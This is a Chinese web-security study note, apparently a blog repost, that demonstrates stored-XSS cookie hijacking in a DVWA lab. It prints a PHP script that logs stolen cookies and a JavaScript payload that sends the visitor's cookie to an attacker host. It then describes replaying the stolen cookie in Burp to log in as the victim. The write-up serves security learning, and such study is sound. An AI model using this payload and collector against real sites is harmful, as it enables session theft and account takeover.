web安全学习笔记(八) XSS之cookie劫持

上一文中提到XSS的分类,本文将演示如何通过XSS进行cookie劫持,并且伪装登录。

再cookie劫持中,有三种身份,分别是服务器,普通用户以及攻击者。这里使用本机和两台台虚拟机完成这项工作。基本思路如图所示:
在这里插入图片描述
首先,攻击者发现某个网站存在XSS漏洞,于是编写恶意代码。当用户访问带有恶意代码的网站时,会将通过恶意代码,将cookie发送给攻击者。当攻击者获取cookie后,便可以使用cookie进行登录。
作为攻击者,首先在本地编写GetCookie.php:

<?php
if(isset($_GET['cookie']))
{
    $myfile = fopen("./cookie.txt", "a") or die("Unable to open file!");
    $cookie = $_GET['cookie']."\n";
    fwrite($myfile, $cookie);
    fclose($myfile);
    echo "success";
}
else
    echo "fail";

当获取一个cookie时,便保存到本地cookie.txt。
hack.js:

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.85.128/GetCookie.php?cookie='+encodeURIComponent(document.cookie);

创建一个长和宽均为0的图像,然后调用GetCookie.php,获取cookie。
攻击者发现,在http://192.168.85.129/dvwa/vulnerabilities/xss_s/页面存在存储型XSS漏洞,便插入恶意代码:
在这里插入图片描述
当普通用户访问页面时,便会调用192.168.85.1/hack.js, 将cookie发送给攻击者。
提交这段信息后,查看网页源代码,发现已经成功插入:
在这里插入图片描述
现在使用本机(普通用户)进行登录,当访问到存在XSS存储漏洞的页面时,
在这里插入图片描述
在这里插入图片描述
可以在控制台看到,由于存在XSS漏洞,普通用户分别请求了hack.js 和 GetCookie.php,并将自己的cookie已经发送给了攻击者。
攻击者也在本地看到了普通用户的cookie:
在这里插入图片描述
当攻击者获取了这个cookie以后,便可以伪造普通用户进行登录。
当访问http://192.168.85.129/dvwa/时,发现由于没有登录,所以被重定向到了login界面:
在这里插入图片描述
此时,打开burp,拦截登录的数据包:
在这里插入图片描述
替换数据包中的cookie字段为普通的cookie

在这里插入图片描述
点击forward发送数据包,可以发现,即使没有输入账号和密码,也可以作为被盗取cookie用户的身份进行登录了。
在这里插入图片描述

发布了10 篇原创文章 · 获赞 15 · 访问量 5612

猜你喜欢

转载自blog.csdn.net/qycc3391/article/details/104692115
今日推荐